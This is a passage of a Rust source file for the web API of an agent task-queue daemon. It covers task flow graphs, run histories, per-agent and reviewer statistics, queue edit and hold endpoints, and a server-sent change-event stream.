4536 } else if matches!(status, RunStatus::VerifiedNoop) {
4537 " Held for a person to check the claim.".to_owned()
4538 } else if last {
4539 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4540 } else {
4541 " It spent an attempt, and the task moved on to the next run.".to_owned()
4542 };
4543 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4544 TaskRunView {
4545 n,
4546 id: id.to_owned(),
4547 short,
4548 kind,
4549 status: Some(status.as_str()),
4550 readable: true,
4551 provisional,
4552 description,
4553 outcome: format!("{head}{why}"),
4554 created_at: Some(s.created_at),
4555 pr: s.pr.as_ref().map(|p| p.url.clone()),
4556 exit,
4557 attempt: exit.cost(),
4558 branch: branch.map(str::to_owned),
4559 }
4560}
4561
4562#[derive(Debug, Serialize, PartialEq)]
4564struct FlowNode {
4565 key: String,
4567 kind: &'static str,
4569 label: String,
4570 status: Option<&'static str>,
4573 status_of: &'static str,
4576 note: Option<&'static str>,
4578 run_kind: Option<&'static str>,
4579 detail: Option<String>,
4580 decided: bool,
4582 readable: bool,
4583 href: Option<String>,
4584}
4585
4586#[derive(Debug, Serialize, PartialEq)]
4587struct FlowEdge {
4588 from: String,
4589 to: String,
4590 label: String,
4591 attempt: AttemptCost,
4592}
4593
4594#[derive(Debug, Serialize, PartialEq)]
4595struct FlowView {
4596 nodes: Vec<FlowNode>,
4597 edges: Vec<FlowEdge>,
4598 attempts: usize,
4600 max_attempts: usize,
4601}
4602
4603fn task_flow(
4612 task: &Task,
4613 history: &[TaskRunView],
4614 max_attempts: usize,
4615 origin: Option<&FollowUpOrigin>,
4616) -> FlowView {
4617 let node = |key: &str, kind, label: String| FlowNode {
4618 key: key.to_owned(),
4619 kind,
4620 label,
4621 status: None,
4622 status_of: "run",
4623 note: None,
4624 run_kind: None,
4625 detail: None,
4626 decided: false,
4627 readable: true,
4628 href: None,
4629 };
4630 let mut nodes = Vec::new();
4631 let mut edges: Vec<FlowEdge> = Vec::new();
4632 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4634 let mut n = node(
4635 "chat",
4636 "chat",
4637 format!("Chat {}", crate::queue::short(&link.id)),
4638 );
4639 n.href = Some(link.href);
4640 nodes.push(n);
4641 edges.push(FlowEdge {
4642 from: "chat".to_owned(),
4643 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4644 label: "queued from chat".to_owned(),
4645 attempt: AttemptCost::None,
4646 });
4647 }
4648 if let Some(o) = origin {
4649 let mut n = match &o.parent {
4650 Some(p) => {
4651 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4652 n.status = Some(p.status);
4653 n.status_of = "task";
4654 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4655 n.href = Some(p.href.clone());
4656 n
4657 }
4658 None => {
4659 let mut n = node(
4660 "origin",
4661 "followup",
4662 format!("Follow-up of run {}", o.run.short),
4663 );
4664 n.detail = Some("merged run".to_owned());
4665 n.status = o.run.status;
4666 n.href = o.run.href.clone();
4667 if o.run.href.is_none() {
4668 n.readable = false;
4669 n.note = Some("unreadable");
4670 }
4671 n
4672 }
4673 };
4674 n.decided = true;
4675 let from = n.key.clone();
4676 nodes.push(n);
4677 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4678 let more = o.findings.len().saturating_sub(shown.len());
4679 let label = match (shown.is_empty(), more) {
4680 (true, _) => "open findings".to_owned(),
4681 (false, 0) => format!("open findings {}", shown.join(", ")),
4682 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4683 };
4684 edges.push(FlowEdge {
4685 from,
4686 to: "start".to_owned(),
4687 label,
4688 attempt: AttemptCost::None,
4689 });
4690 }
4691 nodes.push(node("start", "start", "Task queued".to_owned()));
4692 let mut prev = "start".to_owned();
4693 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4694 for (i, h) in history.iter().enumerate() {
4695 let key = format!("run-{}", h.n);
4696 let mut n = node(&key, "run", format!("Run {}", h.short));
4697 n.run_kind = Some(h.kind);
4698 n.readable = h.readable;
4699 n.href = Some(format!("#/runs/{}", h.id));
4700 n.decided = h.readable && !h.provisional;
4701 n.detail = h
4702 .branch
4703 .as_ref()
4704 .map(|b| format!("review-only run of branch {b}"));
4705 match h.exit {
4706 RunExit::Unreadable => n.note = Some("unreadable"),
4707 RunExit::Interrupted => n.note = Some("interrupted"),
4708 _ => {
4709 n.status = h.status;
4710 if h.provisional {
4711 n.note = Some("no verdict");
4712 }
4713 }
4714 }
4715 let into = match h.kind {
4716 "review" => Some(format!(
4717 "review-only run of branch {}",
4718 h.branch.as_deref().unwrap_or("?")
4719 )),
4720 "resume" => Some("resume the same run".to_owned()),
4721 _ if i > 0 => Some("retry".to_owned()),
4722 _ => None,
4723 };
4724 let label = match (prev_exit, into) {
4725 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4726 (Some((e, st)), None) => e.edge_label(st),
4727 (None, Some(i)) => i,
4728 (None, None) => "claimed".to_owned(),
4729 };
4730 edges.push(FlowEdge {
4731 from: prev.clone(),
4732 to: key.clone(),
4733 label,
4734 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4735 });
4736 prev_exit = Some((h.exit, h.status));
4737 prev = key;
4738 nodes.push(n);
4739 }
4740 let mut end = node("end", "end", task.status.as_str().to_owned());
4741 end.status = Some(task.status.as_str());
4742 end.status_of = "task";
4743 nodes.push(end);
4744 let (label, attempt) = match prev_exit {
4745 None => (
4746 format!("no run yet \u{2192} {}", task.status.as_str()),
4747 AttemptCost::None,
4748 ),
4749 Some((e, st)) if e.explains(task.status) => (
4750 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4751 e.cost(),
4752 ),
4753 Some((e, _)) => (
4754 format!("closed by hand: task is {}", task.status.as_str()),
4755 e.cost(),
4756 ),
4757 };
4758 edges.push(FlowEdge {
4759 from: prev,
4760 to: "end".to_owned(),
4761 label,
4762 attempt,
4763 });
4764 FlowView {
4765 nodes,
4766 edges,
4767 attempts: task.attempts,
4768 max_attempts,
4769 }
4770}
4771
4772fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4775 let mut history = Vec::with_capacity(task.runs.len());
4776 let mut seen: Vec<&str> = Vec::new();
4777 let mut prior: Option<(&str, RunStatus)> = None;
4778 for (i, run_id) in task.runs.iter().enumerate() {
4779 let state = read(run_id);
4780 let resumed = seen.contains(&run_id.as_str());
4781 seen.push(run_id);
4782 history.push(task_run_view(
4783 run_id,
4784 state.as_ref(),
4785 RunSlot {
4786 n: i + 1,
4787 resumed,
4788 resumed_later: task.runs[i + 1..]
4789 .iter()
4790 .position(|r| r == run_id)
4791 .map(|off| i + off + 2),
4792 prior,
4793 last: i + 1 == task.runs.len(),
4794 },
4795 task,
4796 ));
4797 if let Some(s) = &state {
4798 prior = Some((run::short_of(run_id), s.status));
4799 }
4800 }
4801 history
4802}
4803
4804async fn task_detail(
4805 State(ui): State<Arc<Ui>>,
4806 Path(id): Path<String>,
4807) -> ApiResult<Json<TaskDetailView>> {
4808 blocking(move || {
4809 let id = resolve_task(&ui.queue, &id)?;
4810 let task = ui
4811 .queue
4812 .get(&id)
4813 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4814 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4815 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4816 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4817 let max_attempts = daemon::Opts::default().max_attempts;
4818 let origin = task.followup.as_ref().map(|fu| {
4819 followup_origin(
4820 fu,
4821 |tid| ui.queue.get(tid).ok(),
4822 |rid| read_run(&ui.runs, rid).ok(),
4823 )
4824 });
4825 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4826 Ok(Json(TaskDetailView {
4827 max_attempts,
4828 flow,
4829 followup_origin: origin,
4830 history,
4831 runs_unreadable,
4832 attempts_note: ATTEMPTS_NOTE,
4833 task: TaskView::with_inventory(task, &inv),
4834 }))
4835 })
4836 .await
4837}
4838
4839#[derive(Debug, Serialize)]
4843struct RateView {
4844 pct: f64,
4845 denominator: usize,
4846}
4847
4848impl RateView {
4849 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4850 (denominator > 0).then(|| Self {
4851 pct: 100.0 * numerator as f64 / denominator as f64,
4852 denominator,
4853 })
4854 }
4855}
4856
4857#[derive(Debug, Serialize)]
4862struct StatsTotalsView {
4863 runs: usize,
4864 merged: usize,
4865 ready: usize,
4866 blocked: usize,
4867 failed: usize,
4868 stalled: usize,
4869 verified_noop: usize,
4870 superseded: usize,
4871 in_progress: usize,
4872 completion_rate: Option<RateView>,
4873 tallied: usize,
4874 split: usize,
4875 split_rate: Option<RateView>,
4876 deliberated: usize,
4877 minds_changed: usize,
4878 converged: usize,
4879 review_rounds: usize,
4880}
4881
4882impl From<&stats::Totals> for StatsTotalsView {
4883 fn from(t: &stats::Totals) -> Self {
4884 Self {
4885 runs: t.runs,
4886 merged: t.merged,
4887 ready: t.ready,
4888 blocked: t.blocked,
4889 failed: t.failed,
4890 stalled: t.stalled,
4891 verified_noop: t.verified_noop,
4892 superseded: t.superseded,
4893 in_progress: t.in_progress,
4894 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4895 tallied: t.tallied,
4896 split: t.split,
4897 split_rate: RateView::of(t.split, t.tallied),
4898 deliberated: t.deliberated,
4899 minds_changed: t.minds_changed,
4900 converged: t.converged,
4901 review_rounds: t.review_rounds,
4902 }
4903 }
4904}
4905
4906#[derive(Debug, Serialize)]
4908struct AgentStatsView {
4909 agent: String,
4910 entered: usize,
4911 wins: usize,
4912 empty: usize,
4913 win_rate: Option<RateView>,
4914}
4915
4916impl From<&stats::AgentStats> for AgentStatsView {
4917 fn from(a: &stats::AgentStats) -> Self {
4918 Self {
4919 agent: a.agent.clone(),
4920 entered: a.entered,
4921 wins: a.wins,
4922 empty: a.empty,
4923 win_rate: RateView::of(a.wins, a.entered),
4924 }
4925 }
4926}
4927
4928#[derive(Debug, Serialize)]
4932struct ReviewerStatsView {
4933 agent: String,
4934 rounds: usize,
4935 seated: usize,
4936 submitted: usize,
4937 adopted: usize,
4938 unique: usize,
4939 timeouts: usize,
4940 adopted_per_round: Option<f64>,
4941 precision: Option<RateView>,
4942 unique_rate: Option<RateView>,
4943 timeout_rate: Option<RateView>,
4944}
4945
4946impl From<&stats::ReviewerStats> for ReviewerStatsView {
4947 fn from(r: &stats::ReviewerStats) -> Self {
4948 Self {
4949 agent: r.agent.clone(),
4950 rounds: r.rounds,
4951 seated: r.seated,
4952 submitted: r.submitted,
4953 adopted: r.adopted,
4954 unique: r.unique,
4955 timeouts: r.timeouts,
4956 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4957 precision: RateView::of(r.adopted, r.submitted),
4958 unique_rate: RateView::of(r.unique, r.submitted),
4959 timeout_rate: RateView::of(r.timeouts, r.seated),
4960 }
4961 }
4962}
4963
4964#[derive(Debug, Serialize)]
4970struct AdvisorStatsView {
4971 agent: String,
4972 seated: usize,
4973 proposed: usize,
4974 absent: usize,
4975 faint: usize,
4976 strong: usize,
4977 reflection_rate: Option<RateView>,
4978}
4979
4980impl From<&stats::AdvisorStats> for AdvisorStatsView {
4981 fn from(a: &stats::AdvisorStats) -> Self {
4982 Self {
4983 agent: a.agent.clone(),
4984 seated: a.seated,
4985 proposed: a.proposed,
4986 absent: a.absent,
4987 faint: a.faint,
4988 strong: a.strong,
4989 reflection_rate: RateView::of(a.strong, a.proposed),
4990 }
4991 }
4992}
4993
4994#[derive(Debug, Serialize)]
4996struct E2eStatsView {
4997 rounds: usize,
4998 failures: usize,
4999 sole_detections: usize,
5000 deferred: usize,
5001 sole_rate: Option<RateView>,
5002}
5003
5004impl From<&stats::E2eStats> for E2eStatsView {
5005 fn from(e: &stats::E2eStats) -> Self {
5006 Self {
5007 rounds: e.rounds,
5008 failures: e.failures,
5009 sole_detections: e.sole_detections,
5010 deferred: e.deferred,
5011 sole_rate: RateView::of(e.sole_detections, e.failures),
5012 }
5013 }
5014}
5015
5016#[derive(Debug, Serialize)]
5024struct ReleaseBumpStatsView {
5025 merged: usize,
5026 recorded: usize,
5027 pr_opened: usize,
5028 automerge_enabled: usize,
5029 merged_directly: usize,
5030 needs_attention: usize,
5031 clean: usize,
5032 coverage_rate: Option<RateView>,
5033 automerge_rate: Option<RateView>,
5034 attention_rate: Option<RateView>,
5035}
5036
5037impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5038 fn from(b: &stats::ReleaseBumpStats) -> Self {
5039 Self {
5040 merged: b.merged,
5041 recorded: b.recorded,
5042 pr_opened: b.pr_opened,
5043 automerge_enabled: b.automerge_enabled,
5044 merged_directly: b.merged_directly,
5045 needs_attention: b.needs_attention,
5046 clean: b.clean(),
5047 coverage_rate: RateView::of(b.recorded, b.merged),
5048 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5049 attention_rate: RateView::of(b.needs_attention, b.recorded),
5050 }
5051 }
5052}
5053
5054#[derive(Debug, Serialize)]
5056struct TaskCountsView {
5057 queued: usize,
5058 running: usize,
5059 done: usize,
5060 failed: usize,
5061 held: usize,
5062 blocked: usize,
5063 parked: usize,
5064}
5065
5066impl From<crate::queue::TaskCounts> for TaskCountsView {
5067 fn from(c: crate::queue::TaskCounts) -> Self {
5068 Self {
5069 queued: c.queued,
5070 running: c.running,
5071 done: c.done,
5072 failed: c.failed,
5073 held: c.held,
5074 blocked: c.blocked,
5075 parked: c.parked,
5076 }
5077 }
5078}
5079
5080#[derive(Debug, Serialize)]
5086struct RepoSummaryView {
5087 repo: String,
5090 name: String,
5092 runs: usize,
5093 completion_rate: Option<RateView>,
5094}
5095
5096impl From<&stats::RepoStats> for RepoSummaryView {
5097 fn from(r: &stats::RepoStats) -> Self {
5098 let t = &r.stats.totals;
5099 Self {
5100 repo: r.repo.to_string_lossy().into_owned(),
5101 name: r.name.clone(),
5102 runs: t.runs,
5103 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5104 }
5105 }
5106}
5107
5108#[derive(Debug, Serialize)]
5114struct StatsView {
5115 totals: StatsTotalsView,
5116 agents: Vec<AgentStatsView>,
5118 reviewers: Vec<ReviewerStatsView>,
5120 advisors: Vec<AdvisorStatsView>,
5122 e2e: E2eStatsView,
5123 release_bumps: ReleaseBumpStatsView,
5124 queue: TaskCountsView,
5125 runs_unreadable: usize,
5135 repos: Vec<RepoSummaryView>,
5139 daily: Vec<DailyStatsView>,
5144 repo: Option<String>,
5148 retired_hidden: Vec<String>,
5152}
5153
5154#[derive(Debug, Serialize)]
5156struct DailyStatsView {
5157 date: String,
5159 runs: usize,
5160 merged: usize,
5161 ready: usize,
5162 other: usize,
5163 completion_rate: Option<RateView>,
5165}
5166
5167impl From<&stats::DayBucket> for DailyStatsView {
5168 fn from(b: &stats::DayBucket) -> Self {
5169 Self {
5170 date: b.date.to_string(),
5171 runs: b.runs,
5172 merged: b.merged,
5173 ready: b.ready,
5174 other: b.other,
5175 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5176 }
5177 }
5178}
5179
5180const STATS_DAILY_DAYS: usize = 30;
5182
5183#[derive(Debug, Default, Deserialize)]
5192#[serde(default)]
5193struct StatsQuery {
5194 repo: Option<String>,
5195 all: bool,
5197}
5198
5199async fn stats_get(
5206 State(ui): State<Arc<Ui>>,
5207 Query(q): Query<StatsQuery>,
5208) -> ApiResult<Json<StatsView>> {
5209 blocking(move || {
5210 let states: Vec<RunState> = run_ids(&ui.runs)
5211 .into_iter()
5212 .filter_map(|id| read_run(&ui.runs, &id).ok())
5213 .collect();
5214 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5215 .iter()
5216 .map(RepoSummaryView::from)
5217 .collect();
5218 let mut scoped: Vec<&RunState> = states.iter().collect();
5219 let mut collected = match &q.repo {
5220 Some(repo) => {
5221 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5222 if filtered.is_empty() {
5223 return Err(ApiError::not_found(format!(
5224 "no runs recorded against repo `{repo}`"
5225 )));
5226 }
5227 scoped = filtered.clone();
5228 stats::collect_refs(filtered)
5229 }
5230 None => stats::collect(&states),
5231 };
5232 if !q.all {
5233 let repo = q
5234 .repo
5235 .as_deref()
5236 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5237 stats::retain_current_roster(&mut collected, &repo);
5238 }
5239 let daily = stats::daily(
5240 scoped,
5241 jiff::Zoned::now().date(),
5242 &jiff::tz::TimeZone::system(),
5243 STATS_DAILY_DAYS,
5244 );
5245 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5246 Ok(Json(StatsView {
5247 totals: StatsTotalsView::from(&collected.totals),
5248 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5249 reviewers: collected
5250 .reviewers
5251 .iter()
5252 .map(ReviewerStatsView::from)
5253 .collect(),
5254 advisors: collected
5255 .advisors
5256 .iter()
5257 .map(AdvisorStatsView::from)
5258 .collect(),
5259 e2e: E2eStatsView::from(&collected.e2e),
5260 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5261 queue: TaskCountsView::from(queue_counts),
5262 runs_unreadable: runs_unreadable(&ui.runs),
5263 repos,
5264 daily: daily.iter().map(DailyStatsView::from).collect(),
5265 repo: q.repo.clone(),
5266 retired_hidden: collected.retired_hidden.clone(),
5267 }))
5268 })
5269 .await
5270}
5271
5272#[derive(Debug, Default, Deserialize)]
5275#[serde(default, deny_unknown_fields)]
5276struct HoldBody {
5277 reason: Option<String>,
5278}
5279
5280async fn queue_hold(
5281 State(ui): State<Arc<Ui>>,
5282 Path(id): Path<String>,
5283 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5284) -> ApiResult<Json<TaskView>> {
5285 let body = match body {
5289 Ok(Json(body)) => body,
5290 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5291 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5292 };
5293 let reason = body.reason.filter(|r| !r.trim().is_empty());
5294 mutate(ui, id, move |t| {
5295 t.hold_manual(reason.clone());
5296 Ok(())
5297 })
5298 .await
5299}
5300
5301async fn queue_release(
5302 State(ui): State<Arc<Ui>>,
5303 Path(id): Path<String>,
5304) -> ApiResult<Json<TaskView>> {
5305 mutate(ui, id, |t| {
5306 t.release();
5307 Ok(())
5308 })
5309 .await
5310}
5311
5312#[derive(Debug, Deserialize)]
5314#[serde(deny_unknown_fields)]
5315struct PriorityBody {
5316 priority: i32,
5317}
5318
5319async fn queue_priority(
5325 State(ui): State<Arc<Ui>>,
5326 Path(id): Path<String>,
5327 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5328) -> ApiResult<Json<TaskView>> {
5329 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5330 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5331}
5332
5333#[derive(Debug, Deserialize)]
5335#[serde(deny_unknown_fields)]
5336struct EditBody {
5337 title: String,
5338 instruction: String,
5339 #[serde(default)]
5342 force: bool,
5343}
5344
5345async fn queue_edit(
5349 State(ui): State<Arc<Ui>>,
5350 Path(id): Path<String>,
5351 body: std::result::Result<Json<EditBody>, JsonRejection>,
5352) -> ApiResult<Json<TaskView>> {
5353 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5354 let mut judged: Option<(String, PathBuf)> = None;
5358 if !body.force {
5359 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5360 let (id, text) = (id.clone(), body.instruction.clone());
5361 let (seen, hits) = blocking(move || {
5362 let id = resolve_task(&queue, &id)?;
5363 let t = queue.get(&id)?;
5364 if text == t.instruction {
5365 return Ok((None, Vec::new()));
5366 }
5367 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5368 Ok((Some((t.instruction, t.repo)), hits))
5369 })
5370 .await?;
5371 if let Some((_, repo)) = &seen {
5372 let cfg = crate::config::Config::discover(repo, None)
5373 .ok()
5374 .map(|(c, _)| c);
5375 let screened =
5376 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5377 .await
5378 .map_err(|dup| {
5379 ApiError::conflict(dup.render(
5380 "Nothing was saved. If it is not a duplicate, repeat the request \
5381 with \"force\": true.",
5382 ))
5383 })?;
5384 if let crate::dupes::Screened::Unjudged(why) = screened {
5385 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5386 }
5387 }
5388 judged = seen;
5389 }
5390 let force = body.force;
5391 mutate(ui, id, move |t| {
5392 if !force && body.instruction != t.instruction {
5393 match &judged {
5394 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5395 _ => {
5396 anyhow::bail!("the task changed while it was being checked; repeat the request")
5397 }
5398 }
5399 }
5400 t.edit(body.title.clone(), body.instruction.clone())
5401 })
5402 .await
5403}
5404
5405async fn queue_done(
5413 State(ui): State<Arc<Ui>>,
5414 Path(id): Path<String>,
5415) -> ApiResult<Json<TaskView>> {
5416 let home = ui.home.clone();
5417 mutate(ui, id, move |t| {
5418 t.succeed();
5419 crate::daemon::supersede_prior_runs(t, &home);
5427 Ok(())
5428 })
5429 .await
5430}
5431
5432async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5440 blocking(move || {
5441 let id = resolve_task(&ui.queue, &id)?;
5442 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5443 ui.queue
5444 .remove(&id, in_flight, &ui.questions)
5445 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5446 Ok(StatusCode::NO_CONTENT)
5447 })
5448 .await
5449}
5450
5451async fn mutate(
5460 ui: Arc<Ui>,
5461 id: String,
5462 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5463) -> ApiResult<Json<TaskView>> {
5464 blocking(move || {
5465 let id = resolve_task(&ui.queue, &id)?;
5466 let _claim = ui.queue.claim(&id).map_err(|e| {
5471 ApiError::conflict(format!(
5472 "{e:#} - a daemon is running this task, so it cannot be \
5473 changed from here yet"
5474 ))
5475 })?;
5476 let mut task = ui.queue.get(&id)?;
5477 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5478 Ok(dup) => ApiError::conflict(dup.render(
5479 "Nothing was saved. If it is not a duplicate, repeat the request with \
5480 \"force\": true.",
5481 )),
5482 Err(e) => ApiError::bad_request_from(e),
5483 })?;
5484 ui.queue.put(&mut task)?;
5485 Ok(Json(TaskView::from(task)))
5486 })
5487 .await
5488}
5489
5490async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5498 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5499 tokio::spawn(async move {
5500 let mut ticker = tokio::time::interval(POLL);
5501 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5502 let mut stamps: Option<[Stamps; 3]> = None;
5503 loop {
5504 ticker.tick().await;
5507 let state = Arc::clone(&ui);
5508 let revisions = tokio::task::spawn_blocking(move || {
5509 let stamps = [
5510 store_stamps(state.queue.root(), false),
5511 store_stamps(&state.runs, true),
5512 store_stamps(state.talks.root(), false),
5513 ];
5514 let revisions = (
5515 stamps_revision(&stamps[0]),
5516 stamps_revision(&stamps[1]),
5517 state.questions.revision(),
5518 stamps_revision(&stamps[2]),
5519 state.notices.revision(),
5520 state.lock_loop().rev,
5524 );
5525 (revisions, stamps)
5526 })
5527 .await;
5528 let Ok((revisions, next_stamps)) = revisions else {
5529 break;
5530 };
5531 if last == Some(revisions) {
5532 continue;
5533 }
5534 let mut payload = serde_json::json!({
5535 "queue_rev": revisions.0,
5536 "runs_rev": revisions.1,
5537 "questions_rev": revisions.2,
5538 "talks_rev": revisions.3,
5539 "notifications_rev": revisions.4,
5540 "loop_rev": revisions.5,
5541 });
5542 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5543 for (index, (key, rev)) in [
5544 ("queue_delta", base.0),
5545 ("runs_delta", base.1),
5546 ("talks_delta", base.3),
5547 ]
5548 .into_iter()
5549 .enumerate()
5550 {
5551 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5552 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5554 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5555 }
5556 }
5557 }
5558 last = Some(revisions);
5559 stamps = Some(next_stamps);
5560 let Ok(event) = Event::default().event("change").json_data(payload) else {
5562 break;
5563 };
5564 if tx.send(event).await.is_err() {
5565 break;
5566 }
5567 }
5568 });
5569 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5570 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5571}
5572
5573type Stamps = HashMap<String, (u128, u64)>;
5574
5575fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5577 std::fs::read_dir(root)
5578 .into_iter()
5579 .flatten()
5580 .flatten()
5581 .filter_map(|entry| {
5582 let path = if runs {
5583 entry.path().join("run.json")
5584 } else {
5585 entry.path()
5586 };
5587 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5588 return None;
5589 }
5590 let metadata = path.metadata().ok()?;
5591 let modified = metadata
5592 .modified()
5593 .ok()?
5594 .duration_since(std::time::UNIX_EPOCH)
5595 .ok()?;
5596 let id = if runs {
5597 entry.file_name().to_string_lossy().into_owned()
5598 } else {
5599 path.file_stem()?.to_string_lossy().into_owned()
5600 };
5601 Some((id, (modified.as_nanos(), metadata.len())))
5602 })
5603 .collect()
5604}
5605
5606#[derive(Debug, Serialize)]
5607struct Delta {
5608 base: u64,
5609 changed: Vec<String>,
5610 removed: Vec<String>,
5611}
5612
5613fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5614 let mut changed: Vec<_> = next
5615 .iter()
5616 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5617 .map(|(id, _)| id.clone())
5618 .collect();
5619 let mut removed: Vec<_> = previous
5620 .keys()
5621 .filter(|id| !next.contains_key(*id))
5622 .cloned()
5623 .collect();
5624 changed.sort_unstable();
5625 removed.sort_unstable();
5626 Delta {
5627 base,
5628 changed,
5629 removed,
5630 }
5631}
5632
5633fn runs_revision(runs: &FsPath) -> u64 {
5640 stamps_revision(&store_stamps(runs, true))
5641}
5642
5643fn stamps_revision(stamps: &Stamps) -> u64 {
5647 use std::hash::{Hash as _, Hasher as _};
5648 if stamps.is_empty() {
5649 return 0;
5650 }
5651 let mut entries: Vec<_> = stamps.iter().collect();
5652 entries.sort_unstable();
5653 let mut hasher = std::hash::DefaultHasher::new();
5654 entries.hash(&mut hasher);
5655 hasher.finish().max(1)
5656}
5657
5658fn run_ids(runs: &FsPath) -> Vec<String> {
5664 let mut ids: Vec<String> = std::fs::read_dir(runs)
5665 .into_iter()
5666 .flatten()
5667 .flatten()
5668 .filter(|e| e.path().join("run.json").is_file())
5669 .map(|e| e.file_name().to_string_lossy().into_owned())
5670 .collect();
5671 ids.sort_unstable_by(|a, b| b.cmp(a));
5673 ids
5674}
5675
5676fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5678 let path = runs.join(id).join("run.json");
5679 let body =
5680 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5681 let state: RunState =
5682 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5683 run::migrate_schema(state)
5688}
5689
5690#[must_use]
5698pub fn runs_unreadable(runs: &FsPath) -> usize {
5699 run_ids(runs)
5700 .into_iter()
5701 .filter(|id| read_run(runs, id).is_err())
5702 .count()
5703}
5704
5705fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5707 if runs.join(id).join("run.json").is_file() {
5708 return Ok(id.to_owned());
5709 }
5710 pick(run_ids(runs), id, "run")
5711}
5712
5713fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5715 if queue.path_of(id).is_file() {
5716 return Ok(id.to_owned());
5717 }
5718 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5719}
5720
5721#[derive(Debug, Serialize)]
5732struct QuestionView {
5733 #[serde(flatten)]
5734 question: Question,
5735 detail_md: Vec<md::Node>,
5736 thread_bodies_md: Vec<Vec<md::Node>>,
5738 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5741 waiting_on_agent: bool,
5751 holder: Option<&'static str>,
5755 deputies_enabled: bool,
5759 run_is_task: bool,
5762 origin_chat: Option<String>,
5767 origin_chat_closed: bool,
5769}
5770
5771impl QuestionView {
5772 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5776 let base = md::ImageBase::QuestionPanel {
5777 id: question.id.clone(),
5778 };
5779 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5780 Self {
5781 detail_md: md::to_nodes(&question.detail, &base),
5782 thread_bodies_md: question
5783 .thread
5784 .iter()
5785 .map(|t| md::to_nodes(&t.body, &base))
5786 .collect(),
5787 thread_notes_md: question
5788 .thread
5789 .iter()
5790 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5791 .collect(),
5792 waiting_on_agent: question.waiting_on_agent(),
5793 holder,
5794 deputies_enabled,
5795 run_is_task: question.run_names_task(),
5796 origin_chat: None,
5797 origin_chat_closed: false,
5798 question,
5799 }
5800 }
5801
5802 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5804 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5805 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5806 self.origin_chat = talk.map(|t| t.id);
5807 self
5808 }
5809}
5810
5811fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5815 Config::discover(repo, None).ok().map(|(c, _)| c)
5816}
